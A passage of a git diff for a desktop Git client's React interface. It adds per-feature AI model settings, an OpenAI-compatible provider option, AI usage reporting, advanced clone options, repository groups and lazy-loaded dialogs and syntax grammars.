'target'}` : kind === 'cherry-pick' ? `cherry-picking ${operation?.targetSha?.slice(0, 7) ?? ''}` : kind === 'revert' ? `reverting ${operation?.targetSha?.slice(0, 7) ?? ''}` : 'this operation'; const done = conflicted.length === 0; const continueLabel = kind === 'merge' ? 'Commit merge' : kind === 'rebase' ? 'Continue rebase' : kind === 'cherry-pick' ? 'Continue cherry-pick' : kind === 'revert' ? 'Continue revert' : 'Continue'; @@ -64,7 +65,7 @@ export function ConflictsDialog(): React.JSX.Element { ) : null} - Uses {settings?.ai.provider === 'claude-cli' ? 'Claude Code' : settings?.ai.model}; every resolution stays reviewable in the diff and can be undone. + Uses {settings?.ai.provider === 'claude-cli' ? 'Claude Code' : settings ? modelFor(settings.ai, 'resolver') : ''}; every resolution stays reviewable in the diff and can be undone. ) : ( diff --git a/src/renderer/src/components/dialogs/GitHubDialogs.tsx b/src/renderer/src/components/dialogs/GitHubDialogs.tsx index 182e184..b3d4538 100644 --- a/src/renderer/src/components/dialogs/GitHubDialogs.tsx +++ b/src/renderer/src/components/dialogs/GitHubDialogs.tsx @@ -1,9 +1,10 @@ +import { aiProviderLabel } from '@shared/ai-model'; import React, { useEffect, useRef, useState } from 'react'; import type { CheckRun, PrDraft, PullRequest } from '@shared/types'; import { appendDraftFooter, PR_DRAFT_FOOTER } from '@shared/util'; import { errorInfo, errorMessage, invoke } from '../../api'; import * as actions from '../../state/actions'; -import { closeDialog, useAppStore } from '../../state/store'; +import { closeDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Badge, Button, Callout, Checkbox, Dialog, Icon, RelativeTime, Spinner, TextField } from '../ui'; import { NOTICE_KEY } from './ReviewDialogs'; @@ -114,7 +115,7 @@ export function ForcePushDialog(): React.JSX.Element { export function CreatePullRequestDialog({ autoDraft }: { autoDraft?: boolean }): React.JSX.Element { const repo = useAppStore((s) => s.currentRepo); const settings = useAppStore((s) => s.settings); - const aiEnabled = settings?.ai.provider !== 'disabled'; + const aiEnabled = useAiEnabled(); const status = useAppStore((s) => s.status); const branches = useAppStore((s) => s.branches); const defaultBranch = useAppStore((s) => s.defaultBranch); @@ -190,6 +191,7 @@ export function CreatePullRequestDialog({ autoDraft }: { autoDraft?: boolean }): } setAiOrigin(true); setRestored(d.restored); + if (d.skipped.length) actions.showToast({ kind: 'info', title: 'Left out of the AI request', message: d.skipped.join('\n') }, 8000); }; const runDraft = async () => { @@ -255,7 +257,7 @@ export function CreatePullRequestDialog({ autoDraft }: { autoDraft?: boolean }): ) : null} - {drafting ? : } + {drafting ? : } @@ -288,7 +290,7 @@ export function CreatePullRequestDialog({ autoDraft }: { autoDraft?: boolean }): {aiEnabled && !noticeSeen ? ( - Drafting sends the commit messages and diff of this branch to {settings?.ai.provider === 'claude-cli' ? 'Claude Code' : 'the Anthropic API'}. Do not draft from changes you are not allowed to share with that service. + Drafting sends the commit messages and diff of this branch to {aiProviderLabel(settings?.ai)}. Do not draft from changes you are not allowed to share with that service.
+ {pr.autoMerge ? ( + + ) : ( + + )} ) : null} @@ -433,6 +440,7 @@ export function PullRequestDetailsDialog({ pr: initial }: { pr: PullRequest }): ) : null} {pr.reviewDecision ? {pr.reviewDecision.toLowerCase().replace(/_/g, ' ')} : null} {pr.mergeable === 'CONFLICTING' ? conflicts : null} + {pr.autoMerge ? auto-merge on{pr.autoMerge.method ? ` (${pr.autoMerge.method})` : ''} : null} {pr.labels.map((l) => ( {l} ))} diff --git a/src/renderer/src/components/dialogs/ReleaseNotesDialog.tsx b/src/renderer/src/components/dialogs/ReleaseNotesDialog.tsx index 9a1806b..e16d975 100644 --- a/src/renderer/src/components/dialogs/ReleaseNotesDialog.tsx +++ b/src/renderer/src/components/dialogs/ReleaseNotesDialog.tsx @@ -1,9 +1,10 @@ +import { aiProviderLabel } from '@shared/ai-model'; import React, { useEffect, useState } from 'react'; import type { ReleaseNotes, ReleaseNotesUnreferencedEntry, ReleaseRangeResult } from '@shared/types'; import { appendDraftFooter, RELEASE_NOTES_FOOTER, suggestNextPatchVersion } from '@shared/util'; import { errorInfo, errorMessage, invoke } from '../../api'; import * as actions from '../../state/actions'; -import { closeDialog, useAppStore } from '../../state/store'; +import { closeDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Button, Callout, Checkbox, Dialog, Spinner, TextField } from '../ui'; import { NOTICE_KEY } from './ReviewDialogs'; @@ -60,7 +61,7 @@ export function ReleaseNotesDialog({ fromTag }: { fromTag: string | null }): Rea const settings = useAppStore((s) => s.settings); const tools = useAppStore((s) => s.tools); const progress = useAppStore((s) => s.ai[PROGRESS_PATH]); - const aiEnabled = settings?.ai.provider !== 'disabled'; + const aiEnabled = useAiEnabled(); const signedIn = !!tools?.ghAccount; const [to, setTo] = useState('HEAD'); @@ -230,7 +231,7 @@ export function ReleaseNotesDialog({ fromTag }: { fromTag: string | null }): Rea width="xwide" footer={ <> - {generating ? : } + {generating ? : } @@ -274,7 +275,7 @@ export function ReleaseNotesDialog({ fromTag }: { fromTag: string | null }): Rea /> {aiEnabled && !notice ? ( - Generating sends the commit subjects, messages and {includePrs ? 'pull request titles' : 'a diff summary'} in this range to {settings?.ai.provider === 'claude-cli' ? 'Claude Code' : 'the Anthropic API'}. Turn off "Include pull request titles" to + Generating sends the commit subjects, messages and {includePrs ? 'pull request titles' : 'a diff summary'} in this range to {aiProviderLabel(settings?.ai)}. Turn off "Include pull request titles" to keep those out. ) : null} diff --git a/src/renderer/src/components/dialogs/RepoDialogs.tsx b/src/renderer/src/components/dialogs/RepoDialogs.tsx index 7e78923..0baf0f0 100644 --- a/src/renderer/src/components/dialogs/RepoDialogs.tsx +++ b/src/renderer/src/components/dialogs/RepoDialogs.tsx @@ -26,6 +26,11 @@ export function CloneDialog({ initialUrl }: { initialUrl?: string }): React.JSX. const [selected, setSelected] = useState(null); const [cloning, setCloning] = useState(false); const [error, setError] = useState(null); + const [depth, setDepth] = useState(''); + const [singleBranch, setSingleBranch] = useState(false); + const [blobless, setBlobless] = useState(false); + const [sparse, setSparse] = useState(''); + const [submodules, setSubmodules] = useState(true); const progress = useAppStore((s) => Object.values(s.progress).find((p) => p.kind === 'clone') ?? null); const loadRepos = async () => { @@ -70,7 +75,8 @@ export function CloneDialog({ initialUrl }: { initialUrl?: string }): React.JSX. setCloning(true); setError(null); try { - const repo = await invoke('repos.clone', { url: effectiveUrl, directory: targetDir, branch: null }); + const depthValue = depth.trim() ? Number(depth) : null; + const repo = await invoke('repos.clone', { url: effectiveUrl, directory: targetDir, branch: null, depth: depthValue, singleBranch, blobless, sparse: sparse.split(/[\s,]+/).filter(Boolean), submodules }); closeDialog(); await actions.openRepository(repo); } catch (err) { @@ -147,6 +153,16 @@ export function CloneDialog({ initialUrl }: { initialUrl?: string }): React.JSX. setUrl(e.target.value)} autoFocus spellCheck={false} /> )} { setDirectory(e.target.value); setDirTouched(true); }} trailing={} spellCheck={false} /> +
+ Advanced options +
+ setDepth(e.target.value)} placeholder="Full history" /> + + + setSparse(e.target.value)} placeholder="src docs/guides" spellCheck={false} /> + +
+
{error ? {error} : null} ); @@ -250,8 +266,8 @@ export function NewRepoDialog(): React.JSX.Element { // Add existing repository // --------------------------------------------------------------------------- -export function AddRepoDialog(): React.JSX.Element { - const [path, setPath] = useState(''); +export function AddRepoDialog({ initialPath }: { initialPath?: string }): React.JSX.Element { + const [path, setPath] = useState(initialPath ?? ''); const [isRepo, setIsRepo] = useState(null); const [busy, setBusy] = useState(false); useEffect(() => { @@ -425,12 +441,15 @@ export function PublishDialog(): React.JSX.Element { export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab }): React.JSX.Element { const repo = useAppStore((s) => s.currentRepo); + const allRepos = useAppStore((s) => s.repos); const remotes = useAppStore((s) => s.remotes); const [tab, setTab] = useState(initialTab ?? 'remote'); const origin = remotes.find((r) => r.name === 'origin'); const [remoteUrl, setRemoteUrl] = useState(origin?.fetchUrl ?? ''); const [ignore, setIgnore] = useState(null); const [alias, setAlias] = useState(repo?.alias ?? ''); + const [group, setGroup] = useState(repo?.group ?? ''); + const existingGroups = [...new Set(allRepos.flatMap((r) => (r.group ? [r.group] : [])))].sort(compareStrings); const [identity, setIdentity] = useState<{ useLocal: boolean; name: string; email: string; globalName: string; globalEmail: string } | null>(null); const [busy, setBusy] = useState(false); const [error, setError] = useState(null); @@ -456,6 +475,7 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab else await invoke('repo.config.unsetLocalIdentity', repo.path); } await invoke('repos.setAlias', repo.id, alias.trim() || null); + if (group.trim() !== (repo.group ?? '')) await invoke('repos.setPrefs', repo.id, { group: group.trim() || null }); closeDialog(); await actions.refreshAll(); } catch (err) { @@ -481,7 +501,7 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab
{(['remote', 'ignored', 'identity', 'alias'] as RepoSettingsTab[]).map((t) => ( ))}
@@ -533,7 +553,17 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab ) : null} ) : null} - {tab === 'alias' ? setAlias(e.target.value)} placeholder={repo?.name} /> : null} + {tab === 'alias' ? ( + <> + setAlias(e.target.value)} placeholder={repo?.name} /> + setGroup(e.target.value)} placeholder="e.g. Work, Clients, Experiments" list="repo-groups" maxLength={60} /> + + {existingGroups.map((g) => ( + + + ) : null} {error ? {error} : null} ); diff --git a/src/renderer/src/components/dialogs/ReviewDialogs.tsx b/src/renderer/src/components/dialogs/ReviewDialogs.tsx index 788b4c5..90966e6 100644 --- a/src/renderer/src/components/dialogs/ReviewDialogs.tsx +++ b/src/renderer/src/components/dialogs/ReviewDialogs.tsx @@ -1,3 +1,4 @@ +import { aiProviderLabel } from '@shared/ai-model'; import React, { useEffect, useMemo, useState } from 'react'; import type { ReviewFinding, ReviewSeverity, ReviewTarget } from '@shared/types'; import { errorMessage } from '../../api'; @@ -29,6 +30,7 @@ export function ReviewPreflightDialog({ target }: { target: ReviewTarget }): Rea }); useEffect(() => setDeselected(new Set()), [plan?.target.headSha]); + const aiSettings = useAppStore((s) => s.settings?.ai); const pending = plan?.files.filter((f) => f.status === 'pending') ?? []; const skipped = plan?.files.filter((f) => f.status === 'skipped') ?? []; const selected = pending.filter((f) => !deselected.has(f.file.path)); @@ -66,7 +68,7 @@ export function ReviewPreflightDialog({ target }: { target: ReviewTarget }): Rea

{!noticeSeen ? ( - The diff, pull request description and up to 400 lines of surrounding code per file are sent to {plan?.provider === 'claude-cli' ? 'Claude Code' : 'the Anthropic API'}. Do not review changes you are not allowed to share with that service. + The diff, pull request description and up to 400 lines of surrounding code per file are sent to {aiProviderLabel(aiSettings)}. Do not review changes you are not allowed to share with that service.
diff --git a/src/renderer/src/components/dialogs/SettingsDialog.tsx b/src/renderer/src/components/dialogs/SettingsDialog.tsx index 28a06ff..73ff71d 100644 --- a/src/renderer/src/components/dialogs/SettingsDialog.tsx +++ b/src/renderer/src/components/dialogs/SettingsDialog.tsx @@ -1,8 +1,9 @@ import React, { useEffect, useState } from 'react'; -import { watchedFolderLabel, type AppSettings, type FoundEditor, type FoundShell, type RepositoryScanProgress, type SigningConfig, type SigningConfigInfo, type SigningKey, type WatchedFolderProblem, type WatchedFolderStatus } from '@shared/types'; +import { watchedFolderLabel, type AiFeature, type AiUsageMonth, type AppSettings, type FoundEditor, type FoundShell, type RepositoryScanProgress, type SigningConfig, type SigningConfigInfo, type SigningKey, type WatchedFolderProblem, type WatchedFolderStatus } from '@shared/types'; import { errorMessage, invoke, isMac, modKey, on } from '../../api'; import * as actions from '../../state/actions'; import { closeDialog, openDialog, store, useAppStore, type SettingsTab } from '../../state/store'; +import { modelFor } from '@shared/ai-model'; import { AGENT_PRESETS, agentTemplate, validateAgentTemplate } from '@shared/agent-presets'; import { Avatar, Button, Callout, Checkbox, Dialog, FilterInput, Icon, Spinner, TextField, type IconName } from '../ui'; import { LinkifiedText } from './IssueDialogs'; @@ -683,11 +684,78 @@ function PostResolveCheckSettings({ ai, updateAi }: { ai: AppSettings['ai']; upd ); } +const AI_FEATURE_LABELS: Record = { + resolver: 'Conflict resolution', + commitMessage: 'Commit messages', + review: 'Code review', + split: 'Commit splitting', + triage: 'Pull request triage', + prDraft: 'Pull request drafts', + rebase: 'Rebase plans', + releaseNotes: 'Release notes', + explain: 'Diff explanations', + errorExplain: 'Error explanations', + nlPalette: 'Command palette', +}; + +/** This month's and last month's AI usage per feature, from the machine-local usage log. Cost is shown only when the backend reports it. */ +function AiUsageSection(): React.JSX.Element { + const [months, setMonths] = useState(null); + useEffect(() => { + void invoke('ai.usage.get').then(setMonths).catch(() => setMonths([])); + }, []); + const n = (v: number) => v.toLocaleString(); + return ( + <> +

Usage

+ {(months ?? []).map((m, i) => { + const rows = (Object.entries(m.features) as [AiFeature, NonNullable][]).sort((a, b) => b[1].requests - a[1].requests); + return ( +
+ {i === 0 ? 'This month' : 'Last month'} ({m.month}) + {rows.length ? ( + + + + + + + + + + + + + {rows.map(([feature, t]) => ( + + + + + + + + + ))} + +
FeatureRequestsInputOutputCache readsCost
{AI_FEATURE_LABELS[feature] ?? feature}{n(t.requests)}{n(t.inputTokens)}{n(t.outputTokens)}{n(t.cacheReadTokens)}{t.costUsd === null ? '—' : `$${t.costUsd.toFixed(2)}`}
+ ) : ( +

No AI requests.

+ )} +
+ ); + })} +

Token counts are what the provider reports; cost appears only when the backend reports it (Claude Code does, the API does not). Kept on this machine only; not exported or synced.

+ + ); +} + function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partial) => void }): React.JSX.Element { const tools = useAppStore((s) => s.tools); const errorFeedback = useAppStore((s) => s.aiErrorFeedback); const [key, setKey] = useState(''); const [savingKey, setSavingKey] = useState(false); + const [openaiKey, setOpenaiKey] = useState(''); + const [savingOpenaiKey, setSavingOpenaiKey] = useState(false); const [testing, setTesting] = useState(false); const [testResult, setTestResult] = useState<{ ok: boolean; message: string } | null>(null); const [customModel, setCustomModel] = useState(!MODELS.some((m) => m.id === settings.ai.model)); @@ -707,15 +775,29 @@ function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partia setSavingKey(false); } }; + const saveOpenaiKey = async () => { + setSavingOpenaiKey(true); + try { + const next = await invoke('app.setOpenaiApiKey', openaiKey.trim() || null); + store.set((s) => (s.settings ? { settings: { ...s.settings, ai: next } } : {})); + setOpenaiKey(''); + } catch (err) { + actions.showError('Could not save API key', err); + } finally { + setSavingOpenaiKey(false); + } + }; return ( <>

AI conflict resolution

One click asks Claude to reconcile both sides of every conflict block in a file. Only the conflicted regions, some surrounding context and the commit subjects on each side are sent. Results are written to the file and can be undone.

+

Files that look like secrets (.env, private keys, certificates, .netrc, credentials*.json, …) are never sent to any provider, and known token patterns are masked in the text the read-only features send. Individual repositories can opt out from the repository list menu, or with {'{ "ai": false }'} in .gitgood/config.json.

@@ -731,6 +813,19 @@ function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partia

) : null} + {ai.provider === 'openai-compatible' ? ( + <> + updateAi({ openaiBaseUrl: e.target.value.trim() })} /> +
+ + setOpenaiKey(e.target.value)} spellCheck={false} autoComplete="off" /> + +
+

+ Stored encrypted with the operating system's credential store like the Anthropic key, sent only to the base URL above, and never exported or synced. Changing the base URL through a settings import removes the stored key. Requests ask for strict JSON-schema output and fall back to plain JSON mode when the server does not support it. +

+ + ) : null} {ai.provider === 'claude-cli' ? ( {tools?.claudeCli.installed ? `Claude Code ${tools.claudeCli.version ?? ''} found at ${tools.claudeCli.path}. Requests use its sign-in and plan.` : 'Claude Code CLI was not found on this machine. Install it (npm install -g @anthropic-ai/claude-code) and sign in, or set its path under Advanced.'} @@ -740,7 +835,9 @@ function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partia <>
- {customModel ? ( + {ai.provider === 'openai-compatible' ? ( + updateAi({ openaiModel: e.target.value.trim() })} spellCheck={false} /> + ) : customModel ? ( updateAi({ model: e.target.value })} spellCheck={false} /> ) : (
+
+ Model per feature{Object.values(ai.featureModels ?? {}).some(Boolean) ? ' (customised)' : ''} +

Leave a field empty to use the model above. A cheaper model for commit messages and triage, a stronger one for review, for example.

+ {(Object.keys(AI_FEATURE_LABELS) as AiFeature[]).map((f) => ( +
+ + { + const { [f]: _removed, ...rest } = ai.featureModels ?? {}; + updateAi({ featureModels: e.target.value.trim() ? { ...rest, [f]: e.target.value.trim() } : rest }); + }} + /> +
+ ))} +
updateAi({ autoStageAfterResolve: v })} label="Mark files as resolved automatically after a successful AI resolution" />

Pull request review

@@ -832,6 +948,7 @@ function AiTab({ settings, update }: { settings: AppSettings; update: (p: Partia {testResult ? {testResult.message} : null}
{ai.provider === 'anthropic' && /claude-(opus-5|fable)/.test(ai.model) ?

Server-side refusal fallback is enabled: if a safety classifier declines a request, the API retries it on a fallback model automatically.

: null} + ) : null} diff --git a/src/renderer/src/components/dialogs/index.tsx b/src/renderer/src/components/dialogs/index.tsx index e328c1e..1220eba 100644 --- a/src/renderer/src/components/dialogs/index.tsx +++ b/src/renderer/src/components/dialogs/index.tsx @@ -1,32 +1,48 @@ -import React from 'react'; +import React, { Suspense } from 'react'; +import { lazyExport } from '../../lib/lazy'; import { useAppStore } from '../../state/store'; import { CommandPalette } from '../CommandPalette'; import { CherryPickDialog, CompareDialog, DeleteBranchDialog, MergeDialog, NewBranchDialog, RenameBranchDialog, UncommittedChangesDialog } from './BranchDialogs'; import { ConfirmDialog, DiscardDialog, DiscardLinesDialog, ErrorDialog, RewordDialog, SigningFailedDialog, SquashDialog, TagDialog } from './CommitDialogs'; import { ConflictsDialog } from './ConflictsDialog'; -import { CreatePullRequestDialog, ForcePushDialog, PullRequestDetailsDialog, SignInDialog } from './GitHubDialogs'; -import { BulkDeleteBranchesDialog } from './HealthDialogs'; import { FileAtCommitDialog } from './HistoryDialogs'; -import { IssuesDialog, NewIssueDialog } from './IssueDialogs'; import { LfsDialog } from './LfsDialogs'; import { AddRepoDialog, CloneDialog, NewRepoDialog, PublishDialog, RemoveRepoDialog, RepoSettingsDialog } from './RepoDialogs'; -import { TidyBranchDialog } from './RebaseDialogs'; -import { ReleaseNotesDialog } from './ReleaseNotesDialog'; import { ResolutionPopoverDialog } from './ResolutionPopover'; -import { SplitPlanDialog } from './SplitDialogs'; import { TrustRepoCheckDialog } from './TrustRepoCheckDialog'; import { PostReviewDialog, PrecommitReviewGateDialog, ReviewPreflightDialog } from './ReviewDialogs'; -import { AboutDialog, SettingsDialog, ShortcutsDialog, UpdateNotesDialog } from './SettingsDialog'; -import { ExportSettingsDialog, ImportSettingsDialog } from './SettingsSyncDialogs'; import { BranchFromStashDialog, StashSelectedFilesDialog } from './StashDialogs'; import { SubmodulesDialog } from './SubmoduleDialogs'; import { ServerFolderPicker } from './ServerFolderPicker'; -import { AddWorktreeDialog, LockWorktreeDialog, PruneWorktreesDialog, RemoveWorktreeDialog, WorktreesDialog } from './WorktreeDialogs'; + +const SettingsDialog = lazyExport(() => import('./SettingsDialog'), 'SettingsDialog'); +const AboutDialog = lazyExport(() => import('./SettingsDialog'), 'AboutDialog'); +const ShortcutsDialog = lazyExport(() => import('./SettingsDialog'), 'ShortcutsDialog'); +const UpdateNotesDialog = lazyExport(() => import('./SettingsDialog'), 'UpdateNotesDialog'); +const ExportSettingsDialog = lazyExport(() => import('./SettingsSyncDialogs'), 'ExportSettingsDialog'); +const ImportSettingsDialog = lazyExport(() => import('./SettingsSyncDialogs'), 'ImportSettingsDialog'); +const IssuesDialog = lazyExport(() => import('./IssueDialogs'), 'IssuesDialog'); +const NewIssueDialog = lazyExport(() => import('./IssueDialogs'), 'NewIssueDialog'); +const ReleaseNotesDialog = lazyExport(() => import('./ReleaseNotesDialog'), 'ReleaseNotesDialog'); +const SplitPlanDialog = lazyExport(() => import('./SplitDialogs'), 'SplitPlanDialog'); +const TidyBranchDialog = lazyExport(() => import('./RebaseDialogs'), 'TidyBranchDialog'); +const BulkDeleteBranchesDialog = lazyExport(() => import('./HealthDialogs'), 'BulkDeleteBranchesDialog'); +const WorktreesDialog = lazyExport(() => import('./WorktreeDialogs'), 'WorktreesDialog'); +const AddWorktreeDialog = lazyExport(() => import('./WorktreeDialogs'), 'AddWorktreeDialog'); +const RemoveWorktreeDialog = lazyExport(() => import('./WorktreeDialogs'), 'RemoveWorktreeDialog'); +const LockWorktreeDialog = lazyExport(() => import('./WorktreeDialogs'), 'LockWorktreeDialog'); +const PruneWorktreesDialog = lazyExport(() => import('./WorktreeDialogs'), 'PruneWorktreesDialog'); +const CreatePullRequestDialog = lazyExport(() => import('./GitHubDialogs'), 'CreatePullRequestDialog'); +const ForcePushDialog = lazyExport(() => import('./GitHubDialogs'), 'ForcePushDialog'); +const PullRequestDetailsDialog = lazyExport(() => import('./GitHubDialogs'), 'PullRequestDetailsDialog'); +const SignInDialog = lazyExport(() => import('./GitHubDialogs'), 'SignInDialog'); export function Dialogs(): React.JSX.Element { return ( <> - + + + ); @@ -41,7 +57,7 @@ function CurrentDialog(): React.JSX.Element | null { case 'new-repo': return ; case 'add-repo': - return ; + return ; case 'remove-repo': return ; case 'publish': diff --git a/src/renderer/src/components/diff/ConflictDiff.tsx b/src/renderer/src/components/diff/ConflictDiff.tsx index 0acc3ff..0aa5059 100644 --- a/src/renderer/src/components/diff/ConflictDiff.tsx +++ b/src/renderer/src/components/diff/ConflictDiff.tsx @@ -2,10 +2,10 @@ import React, { useCallback, useLayoutEffect, useMemo, useRef, useState } from ' import type { ConflictBlockResolution, FileDiff } from '@shared/types'; import { applyResolutions, parseConflicts, resolutionForChoice, type BlockChoice } from '@shared/diff/conflicts'; import { escapeHtml } from '@shared/util'; -import { highlightBlockLine } from '../../lib/highlight'; +import { highlightBlockLine, useLanguageLoaded } from '../../lib/highlight'; import { useWindowedRows } from '../../lib/windowing'; import * as actions from '../../state/actions'; -import { openDialog, useAppStore } from '../../state/store'; +import { openDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Button, Icon, Spinner } from '../ui'; type ConflictData = Extract; @@ -50,9 +50,11 @@ export function ConflictDiff({ diff, path, syntax }: { diff: ConflictData; path: resetKey: diff.content, }); + const grammarReady = useLanguageLoaded(syntax ? diff.language : null); const highlighted = useCallback( (lineNo: number): string | undefined => (syntax ? highlightBlockLine(hlCache.current, 'file', parsed.lines, lineNo, diff.language) : undefined), - [syntax, parsed.lines, diff.language], + // grammarReady: a freshly loaded grammar must give rows a new callback so they re-render highlighted. + [syntax, parsed.lines, diff.language, grammarReady], ); const lineKinds = useMemo(() => { @@ -117,7 +119,7 @@ export function ConflictDiff({ diff, path, syntax }: { diff: ConflictData; path: const oursName = operation === 'rebase' ? `${diff.oursLabel} (upstream)` : `${diff.oursLabel} (current branch)`; const theirsName = operation === 'rebase' ? `${diff.theirsLabel} (your commit)` : `${diff.theirsLabel} (incoming)`; - const aiEnabled = settings?.ai.provider !== 'disabled'; + const aiEnabled = useAiEnabled(); const counts = resolution ? { high: resolution.blocks.filter((b) => b.confidence === 'high').length, medium: resolution.blocks.filter((b) => b.confidence === 'medium').length, low: resolution.blocks.filter((b) => b.confidence === 'low').length } : null; @@ -166,6 +168,7 @@ export function ConflictDiff({ diff, path, syntax }: { diff: ConflictData; path: + {parsed.blocks.length === 0 ? ( ) : null} diff --git a/src/renderer/src/components/diff/DiffPane.tsx b/src/renderer/src/components/diff/DiffPane.tsx index 1c766f8..2a9f9f7 100644 --- a/src/renderer/src/components/diff/DiffPane.tsx +++ b/src/renderer/src/components/diff/DiffPane.tsx @@ -4,7 +4,7 @@ import { ZERO_SHA } from '@shared/types'; import { buildDiscardPatch } from '@shared/diff/patch'; import { formatBytes } from '@shared/util'; import * as actions from '../../state/actions'; -import { openDialog, useAppStore } from '../../state/store'; +import { openDialog, useAppStore, useAiEnabled } from '../../state/store'; import { Avatar, Button, Icon, RelativeTime, Segmented, Spinner, openContextMenu } from '../ui'; import { ExplainPanel } from '../explain/ExplainPanel'; import { FindingCard, SEVERITY_TONE } from '../review/ReviewView'; @@ -98,7 +98,7 @@ export const DiffPane = memo(function DiffPane({ path, oldPath, status, mode, em const renderBlameCard = useCallback((hunk: BlameHunk) => , []); // Explain: same eligible modes as blame (Changes and History); hidden entirely when the AI provider is disabled. const explain = useAppStore((s) => s.explain); - const aiExplainEnabled = (settings?.ai.provider ?? 'disabled') !== 'disabled'; + const aiExplainEnabled = useAiEnabled(); const explainEligibleMode = mode === 'working' || mode === 'commit'; const explainNotActionable = diff !== null && diff.kind !== 'text'; const explainReason = diff?.kind === 'binary' ? 'binary file' : diff?.kind === 'image' ? 'image file' : diff?.kind === 'submodule' ? 'submodule' : diff?.kind === 'lfs' ? 'Git LFS object' : diff?.kind === 'too-large' ? 'diff too large' : diff?.kind === 'conflict' ? 'unresolved conflict' : null; @@ -230,6 +230,7 @@ export const DiffPane = memo(function DiffPane({ path, oldPath, status, mode, em onClick={(e) => openContextMenu(e, [ { label: 'Open in external editor', onClick: () => void actions.openInEditor(status === 'deleted' ? null : path) }, + ...(mode === 'working' && status !== 'untracked' && status !== 'conflicted' ? [{ label: 'Open in external diff tool', onClick: () => void actions.openDiffTool(path, { kind: 'working' as const }) }] : mode === 'commit' && historySha ? [{ label: 'Open in external diff tool', onClick: () => void actions.openDiffTool(path, { kind: 'commit' as const, sha: historySha }) }] : []), { label: 'Show in folder', onClick: () => void actions.showInFolder(status === 'deleted' ? null : path) }, { label: 'Copy relative path', onClick: () => void actions.copyToClipboard(path, 'Path copied') }, { type: 'separator' }, diff --git a/src/renderer/src/components/diff/TextDiff.tsx b/src/renderer/src/components/diff/TextDiff.tsx index cc8d5a1..299b2c6 100644 --- a/src/renderer/src/components/diff/TextDiff.tsx +++ b/src/renderer/src/components/diff/TextDiff.tsx @@ -4,7 +4,7 @@ import { ZERO_SHA } from '@shared/types'; import { intralineDiff, type CharRange } from '@shared/diff/intraline'; import { reconstructOldLines } from '@shared/diff/old-lines'; import { escapeHtml } from '@shared/util'; -import { highlightBlockLine } from '../../lib/highlight'; +import { highlightBlockLine, useLanguageLoaded } from '../../lib/highlight'; import { useWindowedRows } from '../../lib/windowing'; import { Icon, openContextMenu } from '../ui'; @@ -377,12 +377,14 @@ export function TextDiff({ diff, mode, wrap, syntax, intraline, selectable, sele // Lazy highlighting: per-side blocks of file lines, computed the first time a row in the block renders. const hlCache = useRef(new Map()); useMemo(() => hlCache.current.clear(), [syntax, newLines, oldLines, diff.language]); + const grammarReady = useLanguageLoaded(syntax ? diff.language : null); const highlighted = useCallback( (side: 'old' | 'new', lineNo: number): string | undefined => { const lines = side === 'new' ? newLines : oldLines; return syntax && lines ? highlightBlockLine(hlCache.current, side, lines, lineNo, diff.language) : undefined; }, - [syntax, newLines, oldLines, diff.language], + // grammarReady: a freshly loaded grammar must give rows a new callback so they re-render highlighted. + [syntax, newLines, oldLines, diff.language, grammarReady], ); const allKeys = useMemo(() => { diff --git a/src/renderer/src/components/review/ReviewView.tsx b/src/renderer/src/components/review/ReviewView.tsx index 125d74c..0ebc55a 100644 --- a/src/renderer/src/components/review/ReviewView.tsx +++ b/src/renderer/src/components/review/ReviewView.tsx @@ -2,7 +2,7 @@ import React, { useMemo } from 'react'; import type { ReviewFinding, ReviewRun, ReviewSeverity } from '@shared/types'; import { isMac } from '../../api'; import * as actions from '../../state/actions'; -import { useAppStore, type PrReviewRun } from '../../state/store'; +import { useAppStore, type PrReviewRun, useAiEnabled } from '../../state/store'; import { onListKeyDown } from '../../lib/listKeys'; import { PHONE_QUERY, useMediaQuery } from '../Mobile'; import { CommitFileRow } from '../ChangesTab'; @@ -38,7 +38,7 @@ export function ReviewView(): React.JSX.Element { const run = review.run; const repo = useAppStore((s) => s.currentRepo); // Subscribed so turning the AI provider off hides the Fix with agent action immediately. - useAppStore((s) => s.settings?.ai.provider); + useAiEnabled(); const findings = useMemo(() => liveFindings(run), [run]); const countByPath = useMemo(() => { const map = new Map(); diff --git a/src/renderer/src/lib/highlight.ts b/src/renderer/src/lib/highlight.ts index b3bd06f..d89a53c 100644 --- a/src/renderer/src/lib/highlight.ts +++ b/src/renderer/src/lib/highlight.ts @@ -1,62 +1,93 @@ import hljs from 'highlight.js/lib/core'; -import bash from 'highlight.js/lib/languages/bash'; -import c from 'highlight.js/lib/languages/c'; -import clojure from 'highlight.js/lib/languages/clojure'; -import cmake from 'highlight.js/lib/languages/cmake'; -import cpp from 'highlight.js/lib/languages/cpp'; -import csharp from 'highlight.js/lib/languages/csharp'; -import css from 'highlight.js/lib/languages/css'; -import dart from 'highlight.js/lib/languages/dart'; -import diff from 'highlight.js/lib/languages/diff'; -import dockerfile from 'highlight.js/lib/languages/dockerfile'; -import dos from 'highlight.js/lib/languages/dos'; -import elixir from 'highlight.js/lib/languages/elixir'; -import erlang from 'highlight.js/lib/languages/erlang'; -import fortran from 'highlight.js/lib/languages/fortran'; -import go from 'highlight.js/lib/languages/go'; -import graphql from 'highlight.js/lib/languages/graphql'; -import groovy from 'highlight.js/lib/languages/groovy'; -import haskell from 'highlight.js/lib/languages/haskell'; -import ini from 'highlight.js/lib/languages/ini'; -import java from 'highlight.js/lib/languages/java'; -import javascript from 'highlight.js/lib/languages/javascript'; -import json from 'highlight.js/lib/languages/json'; -import julia from 'highlight.js/lib/languages/julia'; -import kotlin from 'highlight.js/lib/languages/kotlin'; -import less from 'highlight.js/lib/languages/less'; -import lua from 'highlight.js/lib/languages/lua'; -import makefile from 'highlight.js/lib/languages/makefile'; -import markdown from 'highlight.js/lib/languages/markdown'; -import nginx from 'highlight.js/lib/languages/nginx'; -import objectivec from 'highlight.js/lib/languages/objectivec'; -import perl from 'highlight.js/lib/languages/perl'; -import php from 'highlight.js/lib/languages/php'; -import plaintext from 'highlight.js/lib/languages/plaintext'; -import 